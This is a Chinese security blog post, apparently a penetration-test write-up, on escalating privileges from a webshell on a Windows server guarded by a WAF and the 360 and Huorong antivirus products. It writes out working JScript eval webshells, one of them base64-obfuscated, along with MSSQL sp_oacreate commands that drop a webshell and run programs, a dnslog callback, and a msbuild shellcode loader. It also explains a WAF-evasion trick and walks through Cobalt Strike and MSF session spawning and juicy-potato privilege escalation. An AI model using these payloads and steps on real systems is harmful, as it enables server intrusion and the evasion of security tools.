绕过WAF和多个防护软件提权案例

一颗小胡椒2022-07-14 08:34:57

0x01 前言

这篇文章记录的是朋友在某次项目测试中遇到的一个因存在WAF和多个防护软件而无法提权的问题,这次绕防护提权的过程中也是踩了不少的坑,记录分享下。

0x02 测试过程

朋友发过来的是一个asmx的哥斯拉Webshell,说是存在wdf+360+火绒等安全防护,wdf可能已被360或火绒给接管了,所以这里我们主要绕的是360、火绒。

连上Webshell后发现执行不了任何命令,连常规的set、ver、whoami等命令都不行,EXE就更不用说了。

执行时会卡一段时间,没有回显,也不显示:拒绝访问,说明不是360和火绒拦的。

而且哥斯拉的EfsPotato、BadPotota、SweetPotato、PortScan和网络详情等多个功能模块都用不了。

执行时都会卡一段时间,然后直接就结束掉了,360和火绒默认不会拦这些,也不知道是啥防护拦的。

Web根目录下找到一个web.config,里边存储着MSSQL数据库的连接信息,用的是SA用户,这时可以尝试xp_cmdshell、sp_oacreate等方式去执行命令,不出意外直接就能得到SYSTEM。

首先通过sp_oacreate测试写入一个Webshell,发现文件已经被成功写入到指定路径中,这就说明这种方式是可以利用的,但发现在Webshell下没有权限去删除刚写入的这个文件,不知道什么鬼。

declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'C:\ProgramData\shell1.aspx',1;EXEC sp_oamethod  @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'

现实并没有我们想象的那么顺利,因为xp_cmdshell默认是调用system32下的cmd,360会对其进行拦截。

而使用sp_oacreate执行ping、whoami命令时就有看到高权限运行的进程,所以说应该是可以提的。

declare @shell int;exec sp_oacreate 'wscript.shell',@shell output;exec sp_oamethod @shell,'run',null,'C:\Windows\System32\ping ******.dnslog.cn'

通过使用ping dnslog和将命令执行结果写入文件等方式发现命令都没有执行成功,也尝试了sqlps、msbuild等白名单获取MSF会话,也都失败了,命令中有无空格结果都一样,不知道什么鬼。

sqlps、msbuild执行后也有进程,但如果直接去执行指定的木马程序就没有进程,也就是说也没有执行成功。

C:\ProgramData\msf.exeC:\Windows\System32\ping ******.dnslog.cnC:\Windows\System32\whoami > C:\ProgramData\1.txtC:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe shellcode.xml

以上只是简单记录了下测试过程中遇到的问题,目前只能执行部分cobaltstrike内置命令,还不能执行系统命令和上线,接下来我们将在本地模拟这个实战场景来演示如何上线和提权。

0x03 提权过程

首先我们用cobaltstrike生成一个C的shellcode,将shellcode中的\x"以及多余字符都删除掉,只需留下hex shellcode即可,然后利用哥斯拉工具的shellcode加载模块上线。

注:不知为啥在这个场景中MSF的shellcode就不行,也尝试了用哥斯拉的Meterpeter也不行,都上线不了。

但还是执行不了命令/程序,execute-assembly内存加载也不行,这里不太确定是被什么拦的,现在只能执行部分cobaltstrike内置命令,如:getuid、upload、ps等。

虽然shell命令不能执行,但我们还可以去试下run、execute,结果发现可以使用execute命令去执行免杀的MSF木马上线。

后边才发现原来可以直接通过cobaltstrike的spawn派生会话,这里有个坑,见文末。

通过cobaltstrike的spawn进行派生会话时,MSF监听使用的Payload必须与cobaltstrike监听的一致,HTTP或HTTPS,不能使用TCP,否则也可能获取不了会话。

这时就可以直接利用ms16_075_reflection_juicy模块来进行提权了,下图中可以看到已经利用成功,但是并没有获取到一个新的高权限会话,不过可以直接执行getsystem进行提权。

注:我们在本地复现测试时发现使用低版本MSF的ms16_075_reflection_juicy模块怎样都提权不了,最后没办法,找朋友借了他的VPS测试了下,结果一次性就成功了,所以说在实战中还是得多尝试!!!

0x04 注意事项

如果提权过程中需要迁移进程,但是没有可用的迁移进程,这时可以尝试用execute -Hc -f命令去执行vbc.exe和SQLPS.exe等程序得到一个可迁移进程。

坑点一:

目标好像存在什么WAF,上传Webshell时并没有查杀,但冰蝎马和其他一些大马、命令执行马在访问时一直转圈圈,没能解析成功,应该是被拦了,只能用哥斯拉asmx马和中国菜刀aspx马。

<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%><%@ Page Language="Jscript"%><% eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("ZXZhbChSZXF1ZXN0Lkl0ZW1bImFudCJdLCJ1bnNhZmUiKTs=")),"unsafe"); %>

为什么普通aspx马都能过呢?经过测试后发现这个WAF好像是根据Webshell声明的文件头来进行拦截的,只要带有Page Language="C#"就会被拦,不知道这是啥WAF,居然没有拦截特征。

大马/冰蝎/哥斯拉aspx:<%@ Page Language="C#" %>中国菜刀aspx:<%@ Page Language="Jscript" %>哥斯拉asmx:<%@ WebService Language="C#" Class="WebService1" %>

坑点二:

当时朋友告诉我他有试过cobaltstrike派生会话到MSF去提权,但是派生不了,他以为是被防护拦截了,所以我也没有再去测试这个,过于信任他了。

最后发现是他在cobaltstrike设置的监听端口有问题,当时监听的是21端口,而他的VPS只允许使用60000以上的端口来监听,所以MSF获取不到会话。

坑点三:

写这篇文章时发现这台主机已被重启过,这时哥斯拉虚拟终端、cobaltstrike、MSSQL的sp_oacreate都可以执行命令了,但像powershell、net user等高危命令最好还是不要去执行,360仍会拦截。

最后也没搞明白是什么东西导致出现文中的各种问题,重启以后大多数都没有再被拦了,也不知道是不是重启以后才能派生的会话,如果在防护生效不能派生会话时我们又该如何进行提权呢......?

webshell火绒
本作品采用《CC 协议》,转载必须注明作者和本文链接
正常的doc是能够返回路径的,访问url直接下载文件。为了验证目标机器搭载了tomcat服务,我访问了对应web,发现确实存在,喜出望外,在webapp下写入了jsp木马,成功拿下管理员权限,为了进一步dumphash,开3389,用unicode加密的powershell绕过了火绒成功上线。
HW蓝队初级面试总结
2022-10-12 07:00:02
一、sql注入原理、分类、绕过原理:产生sql注入漏洞主要因为没有对接受到的参数进行过滤、验证和处理直接拼接到了sql语句中,然后直接执行该sql语句,这样就会导致恶意用户传入一些精心构造的sql代码,与后台sql语句拼接后形成完整的sql语句执行,达到攻击者的目的。
突破安全策略上线CS
2021-10-29 08:09:17
0x01 环境简述&说明web打点getshell,webshell是冰蝎,权限为.net,权限很低,服务器为server 2016,目标不出网!0x02 为什么要上线cswebshell权限太低,限制性大,需要上线cs提权,因为cs是采用反射dll来加载pe程序,从而在执行一些敏感操作的时候能起到一定的bypass作用,例如mimikatz抓密码等操作。
应急响应之入侵排查
2022-07-19 17:10:59
常见的应急响应事件分类: Web入侵:网页挂马、主页篡改、Webshell 系统入侵:病毒木马、勒索软件、远控后门 网络攻击:DDOS攻击、DNS劫持、ARP欺骗
连上Webshell后发现执行不了任何命令,连常规的set、ver、whoami等命令都不行,EXE就更不用说了。执行时会卡一段时间,没有回显,也不显示:拒绝访问,说明不是360和火绒拦的。
Windows应急响应
2021-11-15 12:48:10
一旦中了勒索病毒,文件会被锁死,没有办法正常访问了,这时候,会给你带来极大的困恼。为了防范这样的事情出现,我们电脑上要先做好一些措施:1、安装杀毒软件,保持监控开启,定期全盘扫描。把异常文件拖出来进行检测,查看检测结果。
通过 NGSOC 平台搜索语法筛选5月21-26日访问该应用系统的互联网地址,发现从25日凌晨开始有19个异常高频的访问记录,大多数为来自中国四川。文件分析结合恶意文件创建时间及 NGSOC流 量记录信息,判断攻击者开展攻击时间为2021年5月25日凌晨0时至2021年5月26日上午10点30分。
一、前言 二、Windows入侵排查 检查系统账号安全 检查异常端口、进程 检查启动项、计划任务、服务 检查系统相关信息 自动化查杀 日志分析 三、Linux入侵排查 账号安全 历史命令 检查异常端口 检查异常进程 检查开机启动项 检查定时任务 检查服务 检查异常文件 检查系统日志
一颗小胡椒
暂无描述